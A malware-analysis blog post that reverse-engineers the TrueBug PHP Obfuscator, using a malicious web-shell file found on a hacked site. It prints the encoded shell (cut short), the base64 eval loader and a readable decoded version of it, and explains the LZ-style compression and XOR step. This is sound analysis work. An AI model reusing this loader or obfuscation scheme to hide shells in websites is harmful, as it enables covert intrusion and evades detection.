TrueBug PHP Obfuscator

During the analysis of one hacked website, i found the following malicious PHP file which contains a PHP shell. The purpose of this article is not to analyse the PHP shell but to understand the encoding and obfuscation mechanisms used.

<?php
$o="QAAAOzh3b3cKDWJ1dWh1WHVidwAAaHVzbmlgLzAuPAoNR3RicwAAWGpmYG5kWHZyaHN
idFh1cgEAaXNuamIvNwHxaGVYdHNmdXNIAC8A0SNqAZEnOidif3draGNiLwAnICcgKydqbm
R1aAGRLy4CUgMCAQHAkAKQAyNcNlonLCcAxDdaB2BjYmFuQEhpBABURlhVSEhTBGB0cwmya
2ZkkggBcFtbASAgKABQY251aWYI0FhYQQDITktCWFguLikBgAaBKCgEVU5UWBwAUE5JAtAE
...
oKCey8M3TvagrA836Duh3DmBmTOOjwiA7d3ViOTKTuBA7AHNYAgIggQH0KAIFCAA4OQ==";
eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3h
zYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbG
xsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhb
CgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxs
bGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJ
dKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYz
ciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsb
GxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxb
JGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGx
sbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJG
xsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkb
GxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9
MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGx
sbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbG
xsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK
10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwr
K109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1
lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JG
xsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR
3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4
c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGx
sbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbG
xsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c
2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJ
ajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;
?>

This file is encoded and obfuscated with TrueBug PHP Obfuscator (www.truebug.com). We can identify two parts:

  • $o variable which contains the PHP shell code enciphered / encoded with TrueBug PHP Obfuscator algorithm;
  • the TrueBug PHP Obfuscator loader: the code is obfuscated and then base64 encoded.

 

TrueBug PHP Obfuscator loader

eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3h
...
ajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));

Once the base64 string is decoded (substitute eval() with print()), we obtain the PHP source code of the loader:

$lll=0;eval(base64_decode("JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs="));
$ll=0;eval($lllllllllll("JGxsbGxsbGxsbGw9J29yZCc7"));$llll=0;$lllll=3;e
val($lllllllllll("JGw9JGxsbGxsbGxsbGxsKCRvKTs="));$lllllll=0;$llllll=($
llllllllll($l[1])<<8)+$llllllllll($l[2]);eval($lllllllllll("JGxsbGxsbGx
sbGxsbGw9J3N0cmxlbic7"));$lllllllll=16;$llllllll="";for(;$lllll<$llllll
lllllll($l);){if($lllllllll==0){$llllll=($llllllllll($l[$lllll++])<<8);
$llllll+=$llllllllll($l[$lllll++]);$lllllllll=16;}if($llllll&0x8000){$l
ll=($llllllllll($l[$lllll++])<<4);$lll+=($llllllllll($l[$lllll])>>4);if
($lll){$ll=($llllllllll($l[$lllll++])&0x0f)+3;for($llll=0;$llll<$ll;$ll
ll++)$llllllll[$lllllll+$llll]=$llllllll[$lllllll-$lll+$llll];$lllllll+
=$ll;}else{$ll=($llllllllll($l[$lllll++])<<8);$ll+=$llllllllll($l[$llll
l++])+16;for($llll=0;$llll<$ll;$llllllll[$lllllll+$llll++]=$llllllllll(
$l[$lllll]));$lllll++;$lllllll+=$ll;}}else$llllllll[$lllllll++]=$llllll
llll($l[$lllll++]);$llllll<<=1;$lllllllll--;}eval($lllllllllll("JGxsbGx
sbGxsbGxsbD0nY2hyJzs="));$lllll=0;eval($lllllllllll("JGxsbGxsbGxsbD0iPy
IuJGxsbGxsbGxsbGxsbCg2Mik7"));$llllllllll="";for(;$lllll<$lllllll;){$ll
llllllll.=$llllllllllll($llllllll[$lllll++]^0x07);}eval($lllllllllll("J
GxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw=="));eval
($lllllllll);

 
Re-indenting and de-obfuscating the loader source (base64 decoding, variables renaming, some simplifications…) we obtain this more human readable PHP code:

<?php
$CIPHER = base64_decode($o);
$bk_MASK = (ord($CIPHER[1]) << 8) + ord($CIPHER[2]);
$bk_rec_ID = 16;
$PLAIN = "";
for ($iC=3, $iP=0; $iC<strlen($CIPHER); ) {
  if ($bk_rec_ID == 0) {
    $bk_MASK = (ord($CIPHER[$iC++]) << 8);
    $bk_MASK += ord($CIPHER[$iC++]);
    $bk_rec_ID = 16;
  }
  if ($bk_MASK & 0x8000) {
    $bk_rec_SHIFT = (ord($CIPHER[$iC++]) << 4);
    $bk_rec_SHIFT += (ord($CIPHER[$iC]) >> 4);
    if ($bk_rec_SHIFT) {                         // Compression type 1
      $bk_rec_SIZE = (ord($CIPHER[$iC++]) & 0x0f) + 3;
      for ($j=0; $j<$bk_rec_SIZE; $j++)
        $PLAIN[$iP + $j] = $PLAIN[$iP - $bk_rec_SHIFT + $j];
      $iP += $bk_rec_SIZE;
    } else {                                     // Compression type 2
      $bk_rec_SIZE = (ord($CIPHER[$iC++]) << 8);
      $bk_rec_SIZE += ord($CIPHER[$iC++]) + 16;
      for ($j=0; $j<$bk_rec_SIZE; $PLAIN[$iP + $j++] = ord($CIPHER[$iC]));
      $iC++;
      $iP += $bk_rec_SIZE;
    }
  } else                                         // No compression
    $PLAIN[$iP++] = ord($CIPHER[$iC++]);
  $bk_MASK <<= 1;
  $bk_rec_ID--;
}
$SHELL_PHP = "";
for ($j=0; $j<$iP; )
  $SHELL_PHP .= chr($PLAIN[$j++] ^ 0x07);
eval("?>" . $SHELL_PHP . "<?");
?>

 
TrueBug PHP Obfuscator algorithm is pretty straightforward. Except the final encoding part (xoring each bytes with 0x07), it’s rather a kind of compression algorithm:

  • cipher stream is divided into blocks, and each block contains 16 records and describes whether a block is compressed or not ($bk_MASK):

    If a record is compressed then the corresponding bit in $bk_MASK is set to 1.

  • record can have the following format:
    • No compression: copy record byte to plain stream

    • Compression type 1: copy $bk_rec_SIZE bytes from previous plain bytes pointed by $bk_rec_SHIFT (relative shift)

    • Compression type 2: copy record byte to plain stream $bk_rec_SIZE times

Let’s see with the following example how it works (excerpt from the debug of the decoding process):

  • P stands for PLAIN, and C stands for CIPHER
  • bk_MASK = 0x1801 = b0001100000000001 means that records n° 13, 12 and 1 are compressed
  • records n° 13 and 1: bk_rec_SHIFT are not null so it’s a “compression type 1” which copies here bk_rec_SIZE = 3 previous PLAIN bytes (negative relative shift is given by bk_rec_SHIFT)
  • record n° 12: bk_rec_SHIFT is null so it’s a “compression type 2” which copies bk_rec_SIZE = 0x13 times the record byte ‘=’
  • other records: no compression, just copies the record byte
#### bk_rec_ID==0  -->  bk_rec_ID=16  /  bk_MASK=0x00001801 ####
bk_rec_ID=16, bk_MASK=0x00001801  -->  ! bk_MASK & 0x8000
	P[778] = ord(C[573])bk_rec_ID=15, bk_MASK=0x00003002  -->  ! bk_MASK & 0x8000
	P[779] = ord(C[574])                                  ÷
bk_rec_ID=14, bk_MASK=0x00006004  -->  ! bk_MASK & 0x8000
	P[780] = ord(C[575])bk_rec_ID=13, bk_MASK=0x0000c008  -->    bk_MASK & 0x8000,
                                         bk_rec_SHIFT==0x01df  -->  bk_rec_SIZE=0x03
	P[781 +  0] = P[781 - 479 +  0]                        
	P[781 +  1] = P[781 - 479 +  1]                       =
	P[781 +  2] = P[781 - 479 +  2]                       =
bk_rec_ID=12, bk_MASK=0x00018010  -->    bk_MASK & 0x8000,
                                         bk_rec_SHIFT==0x0000  -->  bk_rec_SIZE=0x0013
	P[784 +  0] = ord(C[581])                             =
	P[784 +  1] = ord(C[581])                             =
	P[784 +  2] = ord(C[581])                             =
	P[784 +  3] = ord(C[581])                             =
	P[784 +  4] = ord(C[581])                             =
	P[784 +  5] = ord(C[581])                             =
	P[784 +  6] = ord(C[581])                             =
	P[784 +  7] = ord(C[581])                             =
	P[784 +  8] = ord(C[581])                             =
	P[784 +  9] = ord(C[581])                             =
	P[784 + 10] = ord(C[581])                             =
	P[784 + 11] = ord(C[581])                             =
	P[784 + 12] = ord(C[581])                             =
	P[784 + 13] = ord(C[581])                             =
	P[784 + 14] = ord(C[581])                             =
	P[784 + 15] = ord(C[581])                             =
	P[784 + 16] = ord(C[581])                             =
	P[784 + 17] = ord(C[581])                             =
	P[784 + 18] = ord(C[581])                             =
bk_rec_ID=11, bk_MASK=0x00030020  -->  ! bk_MASK & 0x8000
	P[803] = ord(C[582])                                  *
bk_rec_ID=10, bk_MASK=0x00060040  -->  ! bk_MASK & 0x8000
	P[804] = ord(C[583])                                  /
bk_rec_ID= 9, bk_MASK=0x000c0080  -->  ! bk_MASK & 0x8000
	P[805] = ord(C[584])                                   
bk_rec_ID= 8, bk_MASK=0x00180100  -->  ! bk_MASK & 0x8000
	P[806] = ord(C[585])                                   
bk_rec_ID= 7, bk_MASK=0x00300200  -->  ! bk_MASK & 0x8000
	P[807] = ord(C[586])                                  $
bk_rec_ID= 6, bk_MASK=0x00600400  -->  ! bk_MASK & 0x8000
	P[808] = ord(C[587])                                  a
bk_rec_ID= 5, bk_MASK=0x00c00800  -->  ! bk_MASK & 0x8000
	P[809] = ord(C[588])                                  d
bk_rec_ID= 4, bk_MASK=0x01801000  -->  ! bk_MASK & 0x8000
	P[810] = ord(C[589])                                  m
bk_rec_ID= 3, bk_MASK=0x03002000  -->  ! bk_MASK & 0x8000
	P[811] = ord(C[590])                                  i
bk_rec_ID= 2, bk_MASK=0x06004000  -->  ! bk_MASK & 0x8000
	P[812] = ord(C[591])                                  n
bk_rec_ID= 1, bk_MASK=0x0c008000  -->    bk_MASK & 0x8000,
                                         bk_rec_SHIFT==0x005b  -->  bk_rec_SIZE=0x03
	P[813 +  0] = P[813 -  91 +  0]                        
	P[813 +  1] = P[813 -  91 +  1]                       =
	P[813 +  2] = P[813 -  91 +  2]

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *